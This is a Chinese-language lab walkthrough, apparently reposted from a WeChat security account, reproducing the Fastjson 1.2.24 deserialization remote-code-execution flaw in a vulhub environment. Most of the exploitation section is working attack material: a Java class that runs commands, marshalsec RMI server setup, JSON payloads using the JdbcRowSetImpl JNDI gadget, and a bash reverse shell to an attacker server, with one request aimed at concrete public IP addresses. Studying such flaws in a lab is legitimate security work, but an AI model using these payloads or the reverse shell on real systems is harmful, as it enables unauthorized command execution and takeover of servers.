漏洞原理
fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
Fastjson简介
FastJSON(也称为FastJson)是一个Java的JSON解析库,它提供了高性能和高度可定制化的JSON处理能力。FastJSON由阿里巴巴集团开发并开源,已经成为广泛使用的JSON库之一。
FastJSON广泛应用于各种Java项目中,包括Web应用、微服务架构、Android开发等。它的高性能和易用性使得开发人员可以更高效地处理JSON数据,并且与其他阿里巴巴的开源项目(如Dubbo、Spring等)具有较好的集成能力。
需要注意的是,FastJSON在解析自不受信任的JSON数据时,可能存在安全漏洞,因此在处理来自外部的JSON数据时,建议进行严格的输入验证和安全过滤,以防止潜在的安全问题。
漏洞环境搭建
基于vulhub搭建,运行测试环境:docker compose up -d
环境运行后,访问http://your-ip:8090即可看到JSON格式的输出。 我们向这个地址POST一个JSON对象,即可更新服务端的信息:
curl http://your-ip:8090/ -H "Content-Type: application/json" --data '{"name":"hello", "age":20}'
这里需要额外一个vps:接收shell 下文称远端vps
漏洞复现
因为目标环境是Java 8u102,没有com.sun.jndi.rmi.object.trustURLCodebase的限制,我们可以使用com.sun.rowset.JdbcRowSetImpl的利用链,借助JNDI注入来执行命令。
首先编译(javac TouchFile.java
会变成TouchFile.class)并上传命令执行代码,如http://ip/TouchFile.class:
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
把上面文件使用javac TouchFile.java
编译后,架一个python服务器
python3 -m http.server 8989
然后我们借助#marshalsec#项目,启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class:
apt install maven
apt install openjdk-8-jdk-headless
git clone https://github.com/mbechler/marshalsec
cd 到项目目录里
mvn clean package -DskipTests
在marshalsec会生成一个target
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://vpsip:8989(别忘了端口,除非有域名)/#TouchFile" 9999
#http://vpsIP+端口(有域名除外)/#TouchFile 是一个 URL,它被用作一个注入点来触发恶意操作(在这种情况下是 TouchFile)
向靶场服务器发送Payload,带上RMI的地址:
POST / HTTP/1.1
Host:靶机:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 162
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://远端vps:9999/TouchFile",
"autoCommit":true
}
}
这里可以看到已经收到访问 TouchFile.class文件的
rmi服务器启动
成功执行:进入docker容器中查看
反弹shell
更改TouchFile.java文件
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/vps-IP/6666 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
对TouchFile.java进行编译 javac TouchFile.java
用burp发包
POST / HTTP/1.1
Host:8.130.45.30:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 162
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://8.130.40.243:9999/TouchFile",
"autoCommit":true
}
}
python服务器
rmi服务器
成功获取到shell
原文始发于微信公众号(不懂安全):Fastjson 1.2.24 反序列化导致任意命令执行漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论